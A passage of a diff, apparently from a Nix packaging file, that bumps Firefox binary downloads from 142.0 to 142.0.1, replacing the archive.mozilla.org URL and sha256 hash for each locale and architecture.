+      sha256 = "e89b8afa070578e6a070fe8083e7ade0ecc27aa1e9195782afa59b3aed920b92";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/zh-CN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/zh-CN/firefox-142.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "8601948f17218d68119a858a5552cedf28b8fc3e65514f8ef944480c8b2e1798";
+      sha256 = "9df96724817a97ddae145bf53b1fd8d522abe6fa0c25e748c732c0581b196d48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/zh-TW/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/zh-TW/firefox-142.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "214c61f3bc9852d3715f16788a7b976dada4fcdbbd359b186baf1ab0dd29ea83";
+      sha256 = "371607f0304642e84bf75e86c5ac93c1f4f15a4f421adc031ecb88e3bb7ca4eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ach/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ach/firefox-142.0.1.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "fc4a7fea82160141623769017acf7e82925bdf6191987b186cc60ad486eb94e2";
+      sha256 = "e8b879270ae087869f95c6fcde91bf9c17ded39b5e52875aabf4994c5af41f50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/af/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/af/firefox-142.0.1.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "7748555d74c20e192648ac775433c283ca46f904bef896aaf1ef93a34c95cd04";
+      sha256 = "51b2d3ea57a73394fd1675487abd7e5fc329345da0e8d44bb1de31d0034c9b78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/an/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/an/firefox-142.0.1.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "f1a9e9ec99ef78884d0b6b3a85f3485f425931286d26679a54f17010719d530c";
+      sha256 = "dab08de24249c9f0dbb05db401fee55e8b40e8013ad0e331ed92a79e65443a40";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ar/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ar/firefox-142.0.1.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "7e837f06373faa7d4a39d434fd65e2e17d8f998b6e78fb4e7243898183c91c8a";
+      sha256 = "b6c9771a2f37748ec436d4e0383e5667331cceb2cd5a81c6048029e215dfea46";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ast/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ast/firefox-142.0.1.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "106be6d64518e25efa5961d15c7c619f5418ef664cd2fe7c97ff6d5fe5bcfc75";
+      sha256 = "c6f1a790a42fc37b45c1a5b850cb3eaeaf6e057f8f489744e303969eee5e82d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/az/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/az/firefox-142.0.1.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "54da322dd08e297a3497bdb8048e5ec6fe244da4857462ec5ee5eb302340b332";
+      sha256 = "77e31aa1d82d3a77384919c1fd1ac61d99d7275f479da3c40f83d36ac04bb09b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/be/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/be/firefox-142.0.1.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "4bcdc953af64da3fb09654e4795e657232c38742d6200cf3d4f5fa77fd9fc59e";
+      sha256 = "1aaeda3e273bb0020a0564f3747c7d29f6f05ff77e4ebcd8ab0d71adebacb500";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/bg/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/bg/firefox-142.0.1.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "eb78a42254ac0b191e8ddcf40d2dffd523f93c4706aaff94a8fd63dd6ebdd365";
+      sha256 = "a3a7ee164f63cf8d1b6082abecaf0abe980d234aa9e440b46064554a4de00f8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/bn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/bn/firefox-142.0.1.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "9ed4b5005902e01475a749e50c42d2afe0f21398287ba6d49c57959e4cb02ccb";
+      sha256 = "fbc72009726c7353bbaf1837eae268b9556fde4cafa86a3500d35ad9e64b3c34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/br/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/br/firefox-142.0.1.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "6117a291d5c55068112baeb44c4698a8f32f78bce304da56eb102abe5272fe36";
+      sha256 = "d48ffe53a7632daa3578d28324a9e712604bb1cde01fb3a5d5f0395903f76a07";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/bs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/bs/firefox-142.0.1.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "dd9860fa8d705471e1000ff12924a9469702b4e1e0372f2a3ab0705ff36920d0";
+      sha256 = "65408b0ea14bc72f2d2dd17d460192a486b3967b62325e5fba104ac57ca5986e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ca-valencia/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ca-valencia/firefox-142.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "8a7ecd6ff52a20c3432a78666ed44a1981791d344e63973f4d09adedefd3a40e";
+      sha256 = "5e4e974889f67d81ee75d5ca01c8e4a51cf9a955932e0880ed2dc6914997b5ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ca/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ca/firefox-142.0.1.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "9b226ef2047ea2a8674534d54200027b5bf74bc3107625cd3378c2693b0cc7f9";
+      sha256 = "d1ee1f480e96ee53895397c396cb8e9eb0548f5da259b2f5be567bc17d2db482";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/cak/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/cak/firefox-142.0.1.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "d1161e746acb0ad0c89eb0670c52763601dd262e4f86f6200f7f051ac50e5bc7";
+      sha256 = "766831d06057738b7222889c303ee8b1a327afbc7ab4fe197f85e7f710ef67bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/cs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/cs/firefox-142.0.1.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "6418275502ac82476a71f0f5912a4a24f7990831d8c148e0b40f4382b8780c3b";
+      sha256 = "5941c142def9aa039d3644bf68a223a58943bd6b3af3c3e7258caef647e07ac5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/cy/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/cy/firefox-142.0.1.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "5de9311ad00230b6a22b1944202d59b7e68fdf133e9eef909bb59f19e4e965b5";
+      sha256 = "44f8c361a52ede8f0e79337775cd7bff5e0eb251cafe0aa5420fb0661892a1cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/da/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/da/firefox-142.0.1.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "652f0a30f840e64b22f6e2d8e127a814cf4c18180480cb0060c01db3ad3782a9";
+      sha256 = "5638d8af2d80a8a198a65616a1faec2bd4e6e0b3b0f80f58dbf9749abda4a8c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/de/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/de/firefox-142.0.1.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "8adf8e26555e92f87f858e0678428c873de00dabdceff1036b2a07f6f26677db";
+      sha256 = "34e423620142365ba9cba9719ef058c59912b9cedefafc89fe501f0a690c8203";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/dsb/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/dsb/firefox-142.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "3c9f1cb357b7f46781c56ef5958f449f2219aace47dfe506a432bebc97ed4725";
+      sha256 = "8116e8a2d98f815eeda31bf3eb499ebe5310aa55a73fe84a2a5fbe9be592f479";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/el/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/el/firefox-142.0.1.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "2ff6550045c8afaddd9b37e67dd847dd02619f899018ff2a1419e38cd02107aa";
+      sha256 = "06801cd43e91ff23434ca5890d4f853cc5fcf0a6995093d5baba617d8816e173";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/en-CA/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/en-CA/firefox-142.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "2db9da4480f9aaf00fc85cea135416dc361667beeb31568d533e8bc54a4d90b6";
+      sha256 = "1da9ab8fdb90ae4b4106bae888c53ea956b8e245daedf7f4209e1671d90d85f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/en-GB/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/en-GB/firefox-142.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "be6171cf13c7bb6a7b25bd393b995edef97f1141ab272cff1f5d9c630c4815cb";
+      sha256 = "58dffc195bcdd20076b3b72e010709450e10a6d2285c9dd0ea39a62bba37cda0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/en-US/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/en-US/firefox-142.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "35802f3583480eb1712169ccfa2d5071fa3c5cfbd67c99c61be2bda30724d001";
+      sha256 = "e650c7d914dd4aef18cf1888d243ee18da06df0d51a0876534e9c96e5e8463bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/eo/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/eo/firefox-142.0.1.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "69769f26fcf1cac74a7895182d3a6df80304d7617a73d639822a8c4b44012674";
+      sha256 = "c5e22bdf793a5e0ba57decaa37e60d33b4fcec1d33e837bf6127279d79e5c3bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-AR/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/es-AR/firefox-142.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "647f3dca1c6471bdd2c6464ab0821e9e56e5576e728df6d27e081cbe82025a44";
+      sha256 = "1329be37767b84217fb5a996b6014d3234127b553f80df46b6d0a603e87df1a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-CL/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/es-CL/firefox-142.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "ec92d03b9f12210e51fb25d414d28bcd397a9caa9f39db6108b5bf90bd263ac7";
+      sha256 = "dcd970cb8ecd7cc8a91ed7cd96ad3d90eb26dc4bfeb671adeb3f96b067ded49f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-ES/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/es-ES/firefox-142.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "a0c22bc77e897cead51543556324d0b0312c9761633febb93050e9f654b27247";
+      sha256 = "4fdca568fc334fb33cccffff64e16c0ab0ff1f4d60999171c74cc250b1f73ff5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-MX/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/es-MX/firefox-142.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "821293fa7b3bd2c72dab6a0eb52362dec18be7e572be8116a634c4519afca071";
+      sha256 = "e355450d56d6044bfb38ec109efa94ba28415ac68750e65127f78e42d24d3dc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/et/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/et/firefox-142.0.1.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "4f94f792135e22d9af305a3b38cd610e72cc94f53bb2a1ec95705b2a758574a7";
+      sha256 = "7e8b9552974fa3beebf91a7f376d8f7381bc8e124f637773f0c6818780c9ebc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/eu/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/eu/firefox-142.0.1.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "a8db4e2ea27b589779daa1638b647ec0f5e8414ff72cb36ec50ec026df2d6780";
+      sha256 = "c235664ae2c889484a22f5d7d12ca26cbe7bec69998dbc77b5465b5e218eb5d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fa/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/fa/firefox-142.0.1.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "0a5e806d9851a7b4495a038588d644d789c616d5435f58e48294aca62210de00";
+      sha256 = "6c1b99c449444bd4756eb8f8fba9a794afda475dcecfa255a58089f41deea5ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ff/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ff/firefox-142.0.1.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "261fe54cdb117c324e312aa3f55e5788b2eb879d1c23b7f6935652b2f9a5f039";
+      sha256 = "80bb7725bc5ea1fc7f9c23f5663df2dcda6ebdcc9c2ec1e9b43deb4a3862bea0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fi/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/fi/firefox-142.0.1.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "bdc0a6e82ae82c2299305438638146c315d9df02af9170acd4bd84c3020d5385";
+      sha256 = "4f7d7e9c506794ef925869f1fa3f35c6444546dc0c54f4ccd0267eb254c40f33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/fr/firefox-142.0.1.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "bf9c258b2760f3e0b8b3ba83456ff3687a8e1bb82b9ecc47a652a80c45593221";
+      sha256 = "a500e191778b914044c44911bab9e22ff1556986b909e95dc6fa5412bad8fe60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fur/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/fur/firefox-142.0.1.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "7f6265f93b325d3899104e8edd211ab4e51d83696576fed98edfae6accd73928";
+      sha256 = "90c3e5d474eed0ac23049bbe7f5b276a740c673ab361e0bbd9eb23b535340a43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fy-NL/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/fy-NL/firefox-142.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "ce94c4ee325b5195fbc9a867bbd01900518d678af12933e32acbd4896fe022d8";
+      sha256 = "d02b74c980a29dd1fa897195236bfee3da9194e1425202e62a174a00fd783201";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ga-IE/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ga-IE/firefox-142.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "af635a399e0fef6fbb523926104f46a512b49d11e25dfbec6d0e92bb50f9a701";
+      sha256 = "93e2ecf9c082dbbaad27f28c298d6efb57ce6ecb1ed605c94f6c13f9b86d3818";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gd/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/gd/firefox-142.0.1.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "d6b292b7588403c0c636a2ff47b2e75dd5ad2a4bc9d93dd74c5ed4d8d21837a3";
+      sha256 = "a3cfd968292ae87950592d0da77f75fe79a14788dd6e649211535c8582dfef94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/gl/firefox-142.0.1.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "7a59997b9ce011c63a6736123decd47e74da6a145fd141731b06063c56beabd6";
+      sha256 = "f14bb6d796c26e8cd4bd52e2d1f78ed280cdb8a825ab5dca37d09934d1d26d90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/gn/firefox-142.0.1.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "89213a797f9089e8da9d4ab33122e6c0ba3943f2a96bbb3d04e5f5a44cdbb5ea";
+      sha256 = "8dc4f43d9de9a145fc8b53985144aa0423b3d395fe123e7ac8e0c610a12d29e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gu-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/gu-IN/firefox-142.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "71286d2324657e3525540d16b9f93be7da415a047ab6ea7aa28e7fb2cbcdf69c";
+      sha256 = "8c3e3be698c8c2e1a2861ce4819af9c3a710a2535a1a296eb4d8b406dc3beff3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/he/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/he/firefox-142.0.1.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "5c13f77fa08e5078bbac374f586fbe49618436aa640d4dc5b07d054b65dc7e04";
+      sha256 = "e65cd63b66d9cee2bc34656df66861dbf12440790b371ba7e19c6426402efc8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hi-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/hi-IN/firefox-142.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "c2b3fa2f57abf0054eb3adadb2d41c29d299b1ed65711f9e7899e52c4fd8ac2c";
+      sha256 = "e17b63ecf010bb255ba5fea37f62c238a7c40012079e21bb1e2ba30e1c3a667d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/hr/firefox-142.0.1.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "0fba59df56417aaf66d03a4c7ef0af8aec41a45d015799aaffafd81407d55299";
+      sha256 = "3cabd52a2e07b3cdcbadf1a48876d7b05741439cf9fafbdab703dba552dc3803";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hsb/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/hsb/firefox-142.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "9b95e9dd3cb71651721246a04ef6410755787f1ca43efae61719f9a0d0dc6465";
+      sha256 = "2e5a6787aa38ecb463ac2703bc17d5b0f4d37fb25df0258ee4c2f3014d74a11f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hu/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/hu/firefox-142.0.1.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "942c3e6d5eb3f7a33a2ddb9af33a744de5d70f7afafe6cefa78f7a50c8cbc365";
+      sha256 = "2d771ec0243836ec845736035a01f2eb050af72f2c53fd6241a76cd5bbf134be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hy-AM/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/hy-AM/firefox-142.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "c21f44ce2dc0da7b1484e665ad38b7c128ecbe1edacd68ffb66be46c437bee1f";
+      sha256 = "b422e6bc7bab727920052d42c300e5e047997b107c26ab623afad1b37bf29492";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ia/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ia/firefox-142.0.1.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "1e40421df269eb65028eb86a114263d67d9479a7e0011b89771871c312d8f474";
+      sha256 = "f3f9c55883f2a6fc3a952a661dcc984f2fb9c44b5005b370584200d338abc983";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/id/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/id/firefox-142.0.1.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "8bc79f1a52c4dc376c1b48e1c209ace4568747c1ae7e02a6ea970d1d45f12d91";
+      sha256 = "08411687226be12969ebd8769f81ac919191dff8f3bc9f0cca1517350d293d71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/is/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/is/firefox-142.0.1.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "cc07b35e75e0fd84a9eedde937ea4f1589429f1519dcd16036ef526d99aa4e94";
+      sha256 = "affcee8fbb5b821d0b1dc22e5610a6875dfaf5a3be652c9a33bfdcfc96299f8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/it/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/it/firefox-142.0.1.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "a7bcd566f3266e3d4f0d67b68ec781487edfb9816bf7d7a3f3957ff250d53792";
+      sha256 = "b132971cc0a63f8e2acc58f984f3e681f02fe49b0a31a97e02e786284b450cb4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ja/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ja/firefox-142.0.1.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "9e757db38e70f46b3393e9f2a9d499def057e0a87ea94d2480e70ad887b8da57";
+      sha256 = "a361ed52b4e400af58035200f964ca7a46b0bd73fefcc50023cc716f09f58cb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ka/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ka/firefox-142.0.1.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "63505998a10b74c7e089e67e1250c5234f0434617604637f2be5c593b85a5ce0";
+      sha256 = "f6a0dc9e14a55a89d4d5d91929ff03e79d2cf92e4a0d46f98399bc71e5cd4b31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/kab/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/kab/firefox-142.0.1.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "64a59aa70cff48617dfb7acfe21ddb812f16a563beffe1af22dcf118ae58f6d0";
+      sha256 = "d1c58f178c8ffd6f00fa89c5490cd05e11c1a30a19b38f37a485cc449815a559";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/kk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/kk/firefox-142.0.1.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "5399b8052f93b456382a64cdbe93526e1d1de1971f58da7b29d2b40bc9f48afb";
+      sha256 = "56e598dc6e4273e0324f12b04ee7ce041344e356a7628f3ddc1c84316947b6a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/km/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/km/firefox-142.0.1.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "0652ac26570ab69d0398e12764bdeb67053f199c88afd1c1c8cb7eb76ed2ce71";
+      sha256 = "de5e62f74963a1edea5039e17eb802ef9b91982fb9af011419148e7e85911d36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/kn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/kn/firefox-142.0.1.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "48f5478cce2a00395e98400862b78b72f3bd8b6a58c14620b2c5e2b18e5d82dd";
+      sha256 = "ad7bcfeeb01ff45d7939aa5b4489ca871a1f3dd17952c8b86cc9187d8f14ce91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ko/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/ko/firefox-142.0.1.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "e5291cdc1f708828add197c76f2c7d80e331bcb09d55822c2554264eb7545a79";
+      sha256 = "ff6b78f7bb0e0fe86026df6dbfc44f65644dc15d338c95b89e101c4b388ce07f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/lij/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-i686/lij/firefox-142.0.1.tar.xz";
       locale = "lij";
